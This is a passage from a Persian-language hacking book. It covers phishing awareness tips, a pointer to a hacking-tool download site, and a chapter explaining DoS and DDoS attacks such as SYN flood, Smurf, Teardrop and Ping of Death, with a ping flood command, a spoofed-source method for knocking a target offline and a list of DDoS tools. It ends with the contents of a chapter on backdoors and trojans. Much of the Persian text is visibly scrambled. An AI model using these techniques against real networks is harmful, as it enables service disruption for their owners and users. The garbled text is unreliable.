  ...نرم افزار کلاینت ـ هر نيازی به دانلود و نصب نرم افزار به عنوان یک مانع است •
  ... افزار ـ خطرات و پيچيدگی که کاربر برای پياده سازی تجربه می کنداسط نرمو •
سهولت کار با . ، راحتی استفاده شامل قابليت حمل، دوام است!  راحتی استفاده ـ مخصوصاً برای تصدیق هویت دو عامله •

  .واسط کاربر نيز مورد توجه جدی است
   

وثر باشد   گرفته شود، هزینه این رویکرد می تواند در امکان  بکارمشخصاً زمانی که از این نوع فناوری با مقياس بالا      اگر  . پذیری آن م
ات                      سازمان ها برای بر    هزینه کل سيستم خيلی بالا باشد،        ه مطالب از ب ول، ني ورد قب ورد تجاری م قراری این امنيت اضافی برای یک م

  . رداخت های اضافی برای برقراری این امنيت بيشتر نمی شونددر این موارد کاربران به راحتی راضی به پ. مالی از کاربران دارند
  

تفاده آسان                     رای اس د و ب ه کمی در بردارن ه هزین به این منظور تکنولوژی های محافظ شخصی باید سطح بالایی از امنيت را در حالی ک
  .هستند، فراهم کنند
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  !!اصل ماجرا 
  

؛ Phishing. به سراغ ميل باکس خود بروید، نوع جدیدی از تقلب در راه بودهنگامی که گمان می کردید که می توانيد با اطمينان 
آنها می توانند منجر به دزدیده شدن شماره های اعتباری، .  چيزی فراتر از هرزنامه های ناخواسته و مزاحم هستندphishingحيله های 

 بخوانيد تا بيشتر در مورد این نوع دزدی هویت این مطلب را. کلمات عبور، اطلاعات حساب یا سایر اطلاعات شخصی شما شوند
  بدانيد و بياموزید چگونه می توانيد به حفاظت از اطلاعات شخصی خود در برابر این نوع حمله کمک کنيد

   
Phishingچيست؟   

  
ان سعی ، یک فرد آسيب رسphishingدر یک حيله از نوع . نوعی از فریب است که برای دزدیدین هویت شما طراحی شده است

می کند تا اطلاعاتی مانند شماره های اعتباری و کلمات عبور یا سایر اطلاعات شخصی شما را با متقاعد کردن شما به دادن این 
  . می آیند pop-upاین نوع حملات معمولاً از طریق هرزنامه یا پنجره های . اطلاعات تحت ادعاهای دروغين بدست آورد

   
Phishingچگونه کار می کند؟   

  
 توسط یک کاربر بداندیش که ميليون ها ایميل فریبنده ارسال می کند، آغاز می شود بطوریکه بنظر می رسد  phishingیک فریب 

ایميل ها و . مانند شرکت کارت اعتباری یا بانک شما می آیند که از وب سایتهای معروف یا از سایت های که مورد اعتماد شما هستند، 
یق ایميل ها برای شما ارسال می شود، آنقدر رسمی بنظر می رسند که بسياری از مردم را به این باور می وب سایتهایی که از طر
باور اغلب به تقاضای این ایميل ها مبنی بر شماره های  با این باور که این ایميل ها واقعی هستند، افراد زود. رسانند که قانونی هستند

  .عات شخصی پاسخ می دهندکارت اعتباری، کلمات عبور و سایر اطلا
لينکی در یک ایميل جعلی قرار می دهد که اینگونه بنظر می رسد که لينک به وب سایت واقعی است، اما در واقع شما !  یک جاعل

این کپی ها اغلب وب سایت های .  می برد که دقيقاً مانند سایت اصلی بنظر می رسدpop-upرا به سایت تقلبی یا حتی یک پنجره 
spoofedزمانيکه شما در یکی از این وب سایت ها یا .  ناميده می شوندpop-up های تقلبی هستيد ممکن است ناآگاهانه حتی اطلاعات

این شخص آن موقع می . شخصی بيشتری وارد کنيد که مستقيماً به شخصی که این سایت تقلبی را درست کرده است، ارسال خواهد شد
  . کالا یا تقاضا برای یک کارت اعتباری جدید یا سرقت هویت شما اقدام کندتواند از این اطلاعات برای خرید

   
   کمک می کندphishingپنج روش که به شما در محافظت از خودتان در مقابل 

  
پی اما . همانند دنيای فيزیکی، جاعلان در دنيای اینترنت ایجاد روش های جدید و گمراه کننده تر را برای فریب شما ادامه می دهند

  .گيری این پنج روش به شما برای محافظت از اطلاعات شخصيتان کمک می کند
   
اگر شک .  اطلاعات شخصی شما را می خواهند، پاسخ ندهيدup-popهايی که از طريق ايميل يا پنجره های   هرگز به تقاضا-١

  .  است، تماس بگيريدpop-upداريد، با موسسه ای که مدعی ارسال ايميل يا پنجره 
کثر مراکز تجاری قانونی، کلمات عبور، شماره کارت های اعتباری و سایر اطلاعات شخصی را از طریق ایميل مورد سوال قرار ا

 وب  اگر فکر می کنيد که ایميل صحت دارد، برای تایيد از طریق تلفن یا. اگر ایميلی اینچنين دریافت کردید، پاسخ ندهيد. نخواهند داد
 قرار گرفته اید، گام بعدی را برای بهترین روش های phishingاگر احساس می کنيد که هدف یک حيله . بگيریدسایتشان با آنها تماس 

  . رفتن به وب سایت ببينيد
   
  . ببينيدaddress bar وب سايت ها را با تايپ آدرس آنها در -٢
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وب سایتهای دیگری است که با آنها تجارت اگر شک دارید که ایميل از شرکت کارت اعتباری، بانک، سرویس پرداخت آنلاین یا 
آن لينک ها ممکن است شما را به سایت جعلی . انجام می دهيد نباشد، لينک ها را از طریق ایميل برای رفتن به وب سایت دنبال نکنيد

  . ببرند که تمام اطلاعاتی را که وارد می کنيد برای جاعل آن سایت ارسال کنند
 URLچندین روش برای هکرها وجود دارد تا یک . درستی نشان می دهد، خطر آن را نپذیرید آدرس address barحتی اگر 

نسخه های جدیدتر مرورگرها جعل آدرس را مشکل تر می کنند، بنابراین بهتر است .  مرورگرتان نمایش دهندaddress barجعلی در 
 روزرسانی ها را همواره به یاد نخواهيد داشت، می توانيد اگر فکر می کنيد که این به. که مرورگرتان را مرتب به روز نگهدارید

  .کامپيوترتان را برای بروزرسانی های خودکار پيکربندی کنيد
   
  . بررسی کنيد تا مطمئن شويد که وب سايت از رمزنگاری استفاده می کند-٣

ممکن است امن باشد؟ چند روش مختلف  اعتماد ندارید، چگونه ميدانيد که address barاگر به دسترسی به وب سایت از طریق 
نخست، قبل از وارد کردن هرگونه اطلاعات شخصی، بررسی کنيد که آیا سایت از رمزنگاری برای ارسال اطلاعات . وجود دارد

داده  نشان status barدر اینترنت اکسپلورر می توانيد این عمل را با دیدن آیکون قفل زردرنگی که در . شخصی شما استفاده می کند
  .می شود، بررسی کنيد

   
ـ شمار کارت اعتباری، . این نشانه دلالت بر استفاده از وب سایت از رمزنگاری برای کمک به محافظت از اطلاعات حساس دارد 

  . که شما وارد می کنيد–شماره امنيتی اجتماعی، جزئيات پرداخت 
باید با سایتی که در آن  Issued toنام بعد از . ت نشان داده شودبر روی این علامت دوبار کليک کنيد تا گواهی امنيتی برای سای

اگر مطمئن نيستيد که یک گواهی قانونی است، . اگر نام متفاوت است، احتمالاً در سایت جعلی قرار دارید. حاضر هستيد مطابقت کند
  .احتياط کنيد و سایت را ترک کنيد. هيچ اطلاعات شخصی وارد نکنيد

   
  .علاميه های کارت اعتباری و بانک تان را مرور کنيد بطور منظم ا-۴

اگر اعلاميه های بانک تان و کارت . حتی اگر سه مرحله قبل را انجام می دهيد، هنوز ممکن است قربانی دزدی هویت شوید
  .بل توجه جلوگيری کنيداعتباری تان را حداقل ماهانه مرور کنيد، ممکن است بتوانيد یک جاعل را شناسایی و از وارد آمدن خسارات قا

   
  . سو استفاده های مشکوک از اطلاعات شخصيتان را به مراکز مناسب گزارش کنيد-۵

  :اگر قربانی چنين حقه ای بوده اید باید
اگر مطمئن نيستيد که چگونه با شرکت تماس بگيرید، .  فوراً جعل را به شرکتی که جعل در مورد آن صورت گرفته است، گزارش کنيد  ·

شرکت ممکن است یک آدرس ایميل مخصوص برای گزارش .  سایت شرکت را برای گرفتن اطلاعات صحيح تماس، نگاه کنيدوب
باید .  که دریافت کرده اید، دنبال نکنيدphishingبخاطر داشته باشيد که هيچ لينکی را در ایميل . چنين سو ءاستفاده ای داشته باشد

  . مرورگرتان تایپ کنيدaddress barر آدرس شناخته شده شرکت را مستقيماً د
 گزارش مرکز شکایات تقلب های اینترنتی جزئيات جعل را، مانند ایميل هایی که دریافت کرده اید، به مراکز ذیصلاح قانونی همچون   ·

  . و شناسایی افراد پشت این کلاه برداری ها، کار می کندphishing ای این مرکز در کل دنيا برای از کار اندازی سایت ه. کنيد
 FTCوب سایت دزدی هویت در چنين شرایطی برای آموختن نحوه به حداقل رساندن ميزان خسارت می توانيد به 

)http://www.consumer.gov/idtheft( سر بزنيد.  
 
 
  

 را به شما معرفی کنم تا هر ابزار هکری که خواستيد            org.packetstormsecurity.www://httpخوب در آخر کار قصد دارم پایگاه        
  !!با اطمينان البته نه زیاد از آنجا دانلود کنيد 
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   .DDOS و DOSتحليل انواع حملات و معرفی :   چهاردهمفصل 
 

 .مقدمه و معرفی  
  .DOSانواع حملات  
 .تشریح انواع حملات  
 ...و  
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  :معرفی مقدمه و 
  

اگر بخواهيم یک تعریف از این دو نوع حمله داشته باشيم باید بگویم ؛ حمله ای که باعث جلوگيری از کار یک سرویس یا مانع دسترسی  
ه ان                     DDOS یا   DOSز یک خدمات دهنده شود را حمله        به منابعی ا   دا ب ه بع د ک اوت کوچک دارن م یک تف ا ه وع ب ن دو ن  گویند البته ای

  .اشاره ميشود 
  

، در این حمله همانگونه که " اختلال در سرویس دهی "  است که یعنی Denial Of Service Attack سر واژه های DOSخود کلمه 
در این مدل از حملات وی تلاش ميکند به یکی از           !! دف نفوذگر یا حمله کننده دسترسی به خود سيستم نيست           تا به حال متوجه شده اید ه      

نياز ) DOS ( قابل ذکر است که این نوع از حملات . عملی مانع از سرویس دهی یک سرویس دهنده در شبکه بشود/ روش های علمی 
ه    به دانش آنچنان زیادی ندارد و اصلا هم جذابيت ندا       ن گون ام ای رد به همين علت است که جزو دشمنان قسم خورده شما کسی به فکر انج

  .چون اینگونه از حملات هزینه زیادی به لحاظ مادی دارند !! حملات نميافتد و به زبان ساده تر اصلا بچه بازی نيست 
  

ه راحت         م ب واردی ه ه و      راه های جلوگيری از این حملات در مواردی غير ممکن است و در م وطی از تجرب ه مخل م ب واردی ه ی و در م
موفقيت آميز باشد  % ١٠٠اما کلا باز تکرار ميکنم که این حمله ميتواند مرگبار باشد و در صورت انجام درست ان به طور           . دانش است   

ای ان کرمی ته                          .  ر مبن دا شود ، و ب ره مناسب پي د    معمولا حملات مرگبار از این دست وقتی انجام ميشود که یک حف ه و امتحان و تولي ي
د                                    ام ده ا انج ه ه ا رایان ا و ی . شود و در شبکه توزیع و آنگاه بر اساس برنامه ریزی مشخص حمله یا حملاتی به یک یا دسته از سایت ه

ه خارج کردن سایت             Windowsupdate.com که هدف آن سایت بيلی به آدرس         Blasterدقيقا مثل کرم      بود که در آخر بيلی مجبور ب
ه                  .  های جهانی بود     DNSی شبکه و حذف نام ان از روی         از رو  ن حمل ام ای م است و در صورت انج سيار ک ه ب د امکان مقابل پس ميبيني

  ..بگذریم !!! شما باز هم ميتوانيد مطمئن باشيد که از این دست حملات برای شما حواله خواهد شد 
  

داً         گاهی اوقات به صورت قانونی و توسط نهاد ه          DOSحملات  : نکته   ی و دولتی و جدی ول پيکر            ای امنيت ی ( توسط شرکت های ق ) بيل
  .برای جلوگيری از نشر اکاذیب و موارد خلاف اخلاق و مصالح ملی انجام ميشود و یا موارد محرمانه دیگر انجام ميشود 

  
اوت ای     DDOS با حملات DOSاز نظر ساختاری و کارکردی حملات    ط تف د و فق ادی ندارن ود و    تفاوت مشهود و زی سترده ب ن دو در گ

ه سراغ                         DOSما اول حملات     .  است DDOSتوزیع شدن حملات     د ب يم و بع واع مختلف آن را معرفی ميکن رده و ان ل ک ه تحلي  را تجزی
  . ميرویم و به آنها ميپردازیم DDOSحملات 
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 ٦٨٨    صفحه

   :DOSانواع حملات 
  

ود و در صورت                   اگر شما بتوانيد در داخل شبکه هدف نفوذ کن         د ب سيار سریع و مهلک خواه يد و آنگاه حمله را آغاز کنيد ، ضربه شما ب
ی اجازه      ) تعيين گلوگاه ها(انتخاب درست اهداف      ن صورت حت د و در ای ميتوانيد باعث مرگ سریع شبکه شوید و آن شبکه را نابود کني

  .با این وصف به عمق قدرت این گونه حملات پی بردید . را به راهبر شبکه نخواهيد داد ) تقریبا ( دفاع در هيچ حالتی 
  

 فقط شما با یک DOSحال اگر شما به هر دليلی نتوانيد به شبکه هدف نفوذ کنيد ، باید یک حمله از بيرون را سازمان دهيد ، در حملات                      
ه        ماشين کار ميکنيد و به زبان ساده تر ماشين حمله کننده یکی است و نياز به پهنای باند زیا                   شود ک ام مي دی ميباشد و معمولا هنگامی انج

ان            DDOSشما به یکی از ماشين های شبکه نفوذ کرده اید ، اما در حملات                د آنچن ای بان  ماشين حمله کننده بسيار زیاد بوده و نياز به پهن
شود چون    زیادی نيست این گونه حملات یا به وسيله یک کرم یا به وسيله یک گروه هکری و یا به ندرت توسط یک       ام مي هکر خبره انج

د                  ای بان ه همگی دارای پهن رده ک وذ ک ه یک سری ماشين نف شما اگر کرمی را در شبکه پخش کردید که هيچ اما اگر بخواهيد به تنهای ب
  .مناسب باشد ، کار بسيار مشکلی را در پيش رو خواهيد داشت 

  
  :تقسيم بندی کلی این حملات عبارتند از 

  
 .ويس دهی  حمله جلوگيری از سر •

  
د                               تفاده کن ستم اس اگرچه  . به این معنی که ؛ باعث ميشود که کاربر مجاز نتواند از منابع موجود در سيستم اطلاعات یا قابليت های ان سي

ه                    DOSدر این حمله که به اختصار         ا وی سرویس دهی ب شود ، ام ر اطلاعات داده نمي اجم اجازه دسترسی و تغيي ه مه شود ، ب ه مي  گفت
  .اربران مجاز جلوگيری ميکنددیگر ک

  
 .جلوگيری از دسترسی به اطلاعات  •

  
ا     . چنانچه حمله بر روی اطلاعات سيستم انجام شود اطلاعات سيستم غير قابل دسترسی ميگردد   ابود کردن اطلاعات ی این حله بوسيله ن

ا در          روش دیگر حمله ان است    . تغيير اطلاعات بفرمی غير قابل استفاده گردد انجام ميگيرد           د ام ر ميمان دون تغيي ان ب  که اطلاعات همچن
  .مکانی غير قابل دسترس قرار داده ميشود 

  
 .جلوگيری از سرويس دهی به کاربرد های نرمافزاری  •

  
رار    . نوع دیگر اینگونه حملات ان است که کاربرد های نرم افزاری که اطلاعات را نمایش ميدهند یا آنها را تغيير ميدهند                    ه ق هدف حمل

د                   . گيرند  مي اربرد را اجرا ميکن ه ان ک ردد            . این حمله معمولا به سيستم کامپيوتر انجام ميشود ک تفاده گ ل اس ر قاب اربرد غي ن ک چنانچه ای
  .سازمان مذکور قادر به انجام وظایف خود ار طریق ان کاربرد نخواهد بود 

  
 .جلوگيری از دسترسی به سيستم  •

  
افزار                  . يستم کامپيوتر را از ار انداخته       یکی دیگر از اینگونه حملات است که س        ام نرم راه تم ه هم ستم ب ه سي این حمله باعث خواهد شد ک

  .های کاربردی که روی ان انجام ميشود و اطلاعاتی که روی قرار داده شده غير قابل استفاده شود 
  

 .جلوگيری از دسترسی به ارتباط  •
  

ار                         این نوع حمله ميتواند به روش های مختلفی انجام شو           ا از ک ه ت سيم گرفت اط بي ل کردن ارتب ا مخت ه ت ل شبکه گرفت د از قطع کردن کاب
ستم و اطلاعات     . در این نوع حمله هدف اصلی همان واسطه ارتباطی است         . انداختن یک شبکه با افزایش ترافيک ان         ن حالت سي در ای

  .لاعات آنرا غير ممکن ميسازد موجود در ان آسيبی نميبينند  اما مختل شدن ارتباط دسترسی به سيستم و اط
  

شود       Malformed Packet Attack که بسيار هم عمومی شده حملات DOSشایع ترین مدل حملات  اقص من مي ه ن ا ترجم ه ب  است ک
اد                         داد و دفعات زی ه تع ه یک ماشين ب ه                    !! حمله با بسته های مشکل دار ب ر ب ه در زی اگونی است ک واع گون ه حملات دارای ان ن گون ای

  .و معروف ترین آنها می پردازیم که به قرار زیر است !!! ردی ترین کارب
  

  .TCP ؛ حمله بر اساس پروتکل LANDحمله  .١
  .TCP ؛ حمله بر اساس پروتکل Latierraحمله  .٢
   .ICMP ؛ حمله بر اساس پروتکل Ping Of Deathحمله  .٣
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 ٦٨٩    صفحه

  .IP ؛ حمله بر اساس پروتکل Jolt2حمله  .۴
م  NewTear ، Bonk ، Syndropاین حمله نام های دیگری همچون  . IPاساس پروتکل  ؛ حمله بر Tear Dropحمله  .۵  را ه

 .دارد 
  .١٣٩ و پورت TCP ؛ حمله بر اساس پروتکل WinNukeحمله  .۶
  .TCP ؛ حمله بر اساس پروتکل SYN Floodحمله  .٧
  .ICMP ؛ حمله از طریق Smurfحمله  .٨
   .٧ت  و پورUDP ؛ حمله از طریق پروتکل Fraggelحمله  .٩

  
  

  .TCP ؛ حمله بر اساس پروتکل LANDحمله  •
  

ا                      د مشکل برطرف شده ام تفاده از روش         !! این حمله دیگر کارای ندارد و در سيستم عامل های جدی ا اس ن روش ب  در Spoofingدر ای
ا   (پاکتهایی که به سمت هدف   ل وب و ی ه   ) ميباشد  ...  و FTPاکثر اوقات یک سرویس دهنده مث شد ب دا ؛   IP جای  ارسال مي ورت مب  و پ

ده                     IPنفوذگر    و پورت خود ماشين قربانی را قرار ميدهد در بسته های ارسالی  ، با این عمل بعد از ارسال چندین بسته یک سرویس دهن
د     Routingمورد تهاجم هنگام پاسخ دادن به آنها ، برای خودش پاسخ ها را ارسال ميکند و یک حلقه داخلی     ه وجود می آی ن .  ب  عمل  ای

شود          ا                                . باعث پر شدن حافظه مي سوخ شدن ان از توضيح آن ه ه علت من ه ب ه موجود است ک ن حمل ام ای رای انج سياری ب زار های ب اب
  .صرفنظر ميکنم 

  
  

  .TCP ؛ حمله بر اساس پروتکل Latierraحمله  •
  

و سرویس دهنده را مورد تهاجم قرار ميدهد بر     این حمله دقيقا مثل حمله بالا است با این تفاوت که نفوذگر به جای یک پورت چند پورت                   
نم         .روی یک ماشين     ا صرفنظر ميک  .ابزار های بسياری برای انجام این حمله موجود است که به علت منسوخ شدن ان از توضيح آن ه

  .ابزاری هم به همين نام موجود است 
  
  

   .ICMP ؛ حمله بر اساس پروتکل Ping Of Deathحمله  •
  

ه صورت                    من این نوع حم    د اصلا ب ستم عامل های جدی له را به زبان دیگر در این کتاب توضيح داده ام ، این را ذکر ميکنم که اغلب سي
ل             د مث ه شما نميدهن ه را ب ن حمل ام ای يش فرض اجازه و امکان انج ال      Win  XP و Win2Kپ ه از کرن سخه های لينوکسی ک  ٢٫۴ و ن

ر طرف شده است                        استفاده ميکنند و حتی قبل تر از ان و نيز م           ه صورت کامل ب شد ب ه مي ن حمل ودن ای ز ب . شکلی که باعث موفقيت آمي
  :شما ميتوانيد با دستوری شبيه به این .  استوار است K Byte 64اساس این حمله بر پایه فرستادن بسته های پينگی  با حجمی بيش از 

  
C:\ping –t –l 65510 127.1.1.1 

  
انی      t–قابل ذکر است که گزینه      .  را مشاهده کنيد     حمله را شبيه سازی کنيد و نتيجه       ام  پينگ طغي ه  ( باعث انج دون وقف دازه را  l–و ) ب  ان

  .ابزاری هم به همين نام موجود است  .تعریف ميکند 
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 ٦٩٠    صفحه
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 ٦٩١    صفحه

  .IP ؛ حمله بر اساس پروتکل Jolt2حمله  •
  

تادن آن                یک بسته و بهم ر     } Fragmentation{ این حمله بر اساس قطعه ، قطعه کردن          م زدن آن و در آخر فرس یختن ترتيب آنها  و ه
ا مشخصه            . به سوی قربانی شکل ميگيرد  ه اول ب دام دارای قطع ه سمت هدف هيچ ک تاده شده ب  Fragmentدر این حمله قطعات فرس

Offset = 0 به این ترتيب پرسه .  موجود نداردIP       ی ن صورت کل ه ای د و هر ب ه      نميتواند بسته را باز سازی کن د ک سته دریافت ميکن ب
  .ابزاری هم به همين نام موجود است . هيچ کدام را باز سازی نکرده و حافظه ان پر ميشود و دیگر با شبکه نميتواند تعاملی داشته باشد 

  
  

  
  IP ؛ حمله بر اساس پروتکل Tear Dropحمله  •

  
 غلط تنظيم ميشود و Fragment Offset فيلد IPطعه ، قطعه شده این حمله تقربيا شبيه به حمله قبلی است ، با این تفاوت که بسته های ق

شود   تاده مي رای هدف فرس م اشتراک و . سپس ب ا ه ستند و ب م ني ست سر ه ات دیگر پ ار قطع ن ک ا ای د ، امکان Overlapچون ب  دارن
ود    بازسازی بسته اوليه به طور صحيح وجود ندارد و با این کار باعث ایجاد اختلال جدی در سيستم هد                   ر     . ف خواهد نم ه ب ن حمل ه ای البت

  .ابزاری هم به همين نام موجود است  .روی نسخ قدیمی سيستم عامل ها جواب ميدهد و بر روی سيستم عامل های جدید جواب نميدهد 
  
  

  .١٣٩ و پورت TCP ؛ حمله بر اساس پروتکل WinNukeحمله  •
  

 به سوی  Garbageه رو ميکند ،  به این صورت است که یک سری بسته  را با مشکل رو بWin 95این حمله خيلی قدیمی است و فقط 
د و        SMB که مربوط به  ١٣۵پورت   تاده شود هنگ ميکن رای ان فرس وط ب ا مرب  است فرستاده ميشود و چون این نسخه اگر بسته های ن

  .ابزاری هم به همين نام موجود است !!! ریستارت ميشود 
  

  .TCPروتکل  ؛ حمله بر اساس پSYN Floodحمله  •
  
  

ستم عامل های       XP SP2 فعال نباشد این حمله XPویندوز } دیوار آتش{این بگویم که اگر فایروال  ام سي ا در می آورد و تم  را هم از پ
   .Linux نداشته باشند به اینگونه از حملات آلرژی دارند و از پای در می آیند البته به غير از IDSکه یک دیوار آتش یا 

  
  !!ا بيشتر توضيح ميدهم این حمله ر

  
ر    ) یعنی تقاضای شروع یک نشست (SYNاین حمله با ارسال درخواست های متعدد و پی در پی  با علامت    برای ماشين هدف باعث پ

شود Backlogشدن  يد .  مي اید بپرس ين وارد  Backlogخوب ش ا ماش ه ب ای ک امی درخواست ه ه تم ویم ک د بگ ست ؟ در جواب بای  چي
ا داده                         SYN علامت   ميشوند و شامل   ه آنه  هستند ، در قسمتی از حافظه به ترتيب ورود ذخيره ميشوند تا پس از بررسی جواب مناسب ب

سمت از حافظه را       ن ق رار شود ای ام دارد  Backlog Queueشود و ارتباط برق انی         .  ن ر شود ماشين قرب سمت از حافظه پ ن ق ی ای وقت
ی         اولویت را به در خواست های قدیمی تر ميدهد         اربران حقيق ه ک  و به درخواست های جدید پاسخی نميدهد ، در نتيجه از سرویس دهی ب

  . فرستنده بسته جعلی باشد IPقابل ذکر است که در این حمله باید شماره . باز ميماند 
  

ا           IP فرستنده را تعویض کرده ایم و یک      IPخوب چون ما     سته ه ه در ب ا ن ه ممکن است وجود داشته باشد ی م ، دو    جعلی ک رار داده ای ق
ا                   سته ه د حال چون ب ا ميکن ه پاسخ دادن آنه ا شروع ب سته ه د از دریافت ب حالت پيش می آید ، اگر آدرس واقعی باشد سرویس دهنده بع

و       SYS/ACK زنده را دارند سرویس دهنده یک بسته      IPآدرس یک    رای ت تادن اطلاعات ب اده فرس  به سوی او ميفرستد که یعنی من آم
تم         Resetوب آن ماشين چون اصلا تقاضای اطلاعات نکرده بسته          هستم ، خ   زی نخواس  به سوی هدف ميفرستد که به او به فهماند من چي

شود و حافظه                   ا مشخص مي سته ه ی تکليف ب شود ول د شبکه مي که تو به من بدی با این کار در حجم وسيع باعث از دست رفت پهنای بان
Backiog Queueد      شروع به خالی شدن مينم ایين ميآی ده پ ا اگر   . اید و این برای ما خوب نيست و احتمال شکسته شدن سرویس دهن ام

  . جعلی باشد که زنده نباشد احتمال موفقيت ما بيشتر ميشودIPدارای ) نفوذگر(بسته های ارسالی از طرف ما 
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 ٦٩٢    صفحه
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 ٦٩٣    صفحه

  :متدی پيشرفته تر 
  

موفقيت آميز نيز هست به این صورت است که ما برای حمله به یک ماشين مشخص          % ١٠٠ر این حمله که     مدل پيشرفته تر و مرگبار ت     
ه جای          Aمثلا   رده و ب ه ک ه ان دو حمل ی ، شماره   IP اول دو ماشين قربانی دیگر پيدا ميکنيم که پهنای باند مناسبی داشته باشند ب  IP جعل

دهيم ،    IP یک IPنيز حمله ميکنيم و در فيلد شماره  A را وارد ميکنيم ، سپس به خود ماشين     Aماشين   رار مي  جعلی که زنده نيز نباشد ق
ا                   سته های      Aنتيجه این حمله این ميشود که دو ماشين دیگر به سوی ماشين مورد نظر م م چون اصلا      SYN-ACK ب تند و او ه  ميفرس

ا       }  بالا انجام ميشود     این کار در حجم بسيار    { برای آنها ميفرستد     Resetچيزی نخواسته یک بسته      شود ام ابع او مي و باعث تلف شدن من
د             ه خود ماشين        !! آن دو ماشين دیگر هنوز زنده هستند و به کار خودشان ادامه ميدهن ا چون ب ن حال م ستقل     Aدر ای ه صورت م ز ب  ني

رای      جع IP باقی نمی ماند چون      Aحمله ای را ترتيب داده ایم ، دیگر شانسی برای زنده ماندن ماشين               ا ب لی هستند و هرگز جوابی از آنه
ن               Aخوب هنگامی که ماشين     .  ارسال نميشود    Aماشين   ای ای شوند ، مزای د شکسته مي دتی بع  در هم شکسته شد آن دو ماشين دیگر هم م

ا           اه ه د و گلوگ رده ای  را شناسایی  کار سرعت بالای این حمله در درهم کوبيدن هدف است  ، حال فرض کنيد که شما به یک شبکه نفوذ ک
  .چه ميشود . کرده و این سه ماشين در نقاط حساس قرار گرفته باشند 

  
ا اول                                 ٣ما با انجام    : نتيجه   ا کمک خود آن ه م و ب ام دادی ا انج ه آنه وذ ب دون هيچ نف ا ب  حمله هدفمند به کمک پهنای باند دیگر سرویس ه

ز                    حساس ترین نقطه شبکه را در هم کوبيدیم و آنگاه دو نقطه بعدی             سيار موفقيت آمي ه ب ن حمل ابود شدند ، ای  هم زمان اما با کمی تاخير ن
د                       اب       . است چون اکثر شبکه ها اصلا یا به صورت بسيار ضعيف بر روی شبکه داخلی خود نظارت دارن ن ب سياری در ای زار های ب اب

  ... با ترکيب های هوشمندانه دیگر وجود دارند و حتی شما با دانش متوسط و ایجاد تغيرات مناسب در کد منبع آن ميتوانيد
  
  

  .ICMP ؛ حمله از طريق Smurfحمله  •
  
  

د              دا ميکن ام پي اقص شبکه  امکان انج دی ن سته      . خوب این حمله در صورت پيکربن وذگر یک ب ه نف ن حمل ر را ارسال   Pingدر ای  فراگي
بکه  ک ش د در ی ه در آدرس  . ( ميکن ت ک التی اس ر ح گ فراگي ش IPپين ا  براHost ID بخ ر ب ت ١ب ده اس يم ش ا آدرس )  تنظ ی

ا     A برای کلاس     10.225.155.255 رای کلاس      131.131.255.255 و ی ا     B ب رای کلاس      192.148.171.255 و ی تفاده شده     C ب  اس
از چون     Pingبسته ) باید بيش از یک بار باشد حتما ( با ارسال یک    . باشد   شود و ب تاده مي  IP معمولی برای تمام ماشين های شبکه فرس

سته          IPفرستنده را نفوذگر برابر با  ام ماشين های درون شبکه یک ب رده است تم ين ک رای هدف   ICMP Echo Request هدف تعي  ب
ه                           . ميفرستند   حال هر نفوذگر هر چهقدر این کار را سریعتر و بيشتر انجام دهد ماشين هدف زودتر کرش ميشود ، البته قابل ذکر است ک

  . تعداد ماشين های موجود در شبکه دارد این حمله رابطه مستقيمی با
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   .٧ و پورت UDP ؛ حمله از طريق پروتکل Fraggelحمله  •
  

سته های   ) ICMP(این حمله دقيقا مثل حمله بالای است با این تفاوت که به جای بسته های پينگ                شود   UDPاز ب تفاده مي ن   .  اس رای ای ب
ا        اس ) ٧یعنی پورت    ( Echoمنظور پورت از پورت      تيد آن را دقيق ورت بفرس تفاده ميشود ، حتما ميدانيد که هر چيزی را که برای این پ

ا         !! به آدرس فرستنده دوباره ميفرستد       سته ب ان        IPخوب ما هم یک ب ه هم ی ک د         IP جعل تيم و بع ر ميفرس ه صورت فراگي انی است ب  قرب
  !!آنگاه همان اتفاقی که در بالا افتاد دوباره این جا هم ميافتد 
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   :DDOSحملات 
  

ه سوی ماشين                   DOSاین حملات دقيقا همان حملات       ان آن را ب م زم ه صورت ه ار شما ب ه اختي دادی ماشين ناخواسته و ب  هستند که تع
ا ان                . مشخص انجام ميدهند     ن ماشين ه ه شد هر دسته از ای ه ان    در این حمله ممکن است از ترکيب چند روش که در بالا گفت د ک ام دهن ج

سئولي . نسبت به مقتضيات ان ها خواهد بود       ه و تعویض      تدر این حمله عملا شما مثل یک فرمانده فقط م دایت صحيح حمل ری و ه  راهب
د                         رده ای وذ ک ا نف ه صورت    ( متد ها و تاکتيک ها در لحظات مناسب را بر عهده دارید و حمله را یک سری  ماشين که قبلا به آن ه چه ب

  .البته به صورت ناخواسته و به اختيار شما . انجام ميدهند...) یا با کرم و مستقيم 
  

د از       ا عبارتن رین آن ه ه معروفت د  ک ر      Tribe Flood Network 200ابزار های زیادی در این باب نوشته شده ان اده ت ارت س ه عب ا ب  ی
TFN2K  زار زار  Evil bot و اب زار    و Pulse 200 ( by Security Storm )  و اب زار  Blitznet ( by Phreeon )اب  و اب

Mstream و ابزار Win trin00 و ابزار Trin00 و ابزار Ferak88 و ابزار Trinity و ابزار Shaft و ابزار stacheldraht و ....  
  
  

ا Dos به ماشين هایی گفته ميشود که توسط نفوذگران هک شده اند و ابزار حمله       Zombieلازم به ذکر است       نصب شده است و     در آنه
ه                     د و در حمل رار دهن ه ق ورد حمل ن ماشين   DDOSنفوذگران قادر اند با درخواست های خود از روی این ماشين ها قربانی خود را م  ای

  .ها وظيفه حمله را بر عهده دارند  
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 ...در های پشتی و اسب های تروا و  :  پانزدهمفصل 
 

 .مقدمه  
 Root Kitچيست ؟  
  .VNCمعرفی و آموزش  
  .Net Busمعرفی و آموزش   
  .Back Orificeمعرفی و آموزش  
  .SUB7معرفی  
  .Lokiمعرفی و ابزار  
  .STCP Shellمعرفی ابزار  
 Cover-TCPمعرفی و آموزش ابزار  
 Reverse WWW Shell : HTTPمعرفی ابزار  
  .Knarkآموزش  و معرفی کامل ابزار   
 Remote Desktopنحوه استفاده از  
 HyperTerminalآموزش  
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  :مقدمه 
  
  

اره هستند ، پس توضيح                               فکر نکنم واقعاً   ا چه ک دانيم اینه ا مي ه م دهم ، هم ا توضيح ب زار ه ه از اب ن گون  لازم باشد که این جا در باره ای
ی          اما فقط عرض کنم اینها دو دسته هستند دست . اضافه نميدهم    ا دسته دوم  خيل شناسيد ام ه شما دوستان مي ه هم انی ک ه اول که تابلو و هم

  ... و Knark و StcpShell و Lokiکاربردی تر و پيشرفته تر ميباشند که توضيح ميدهم مثل 
  
  
  
  

Root Kit چيست؟ 
  

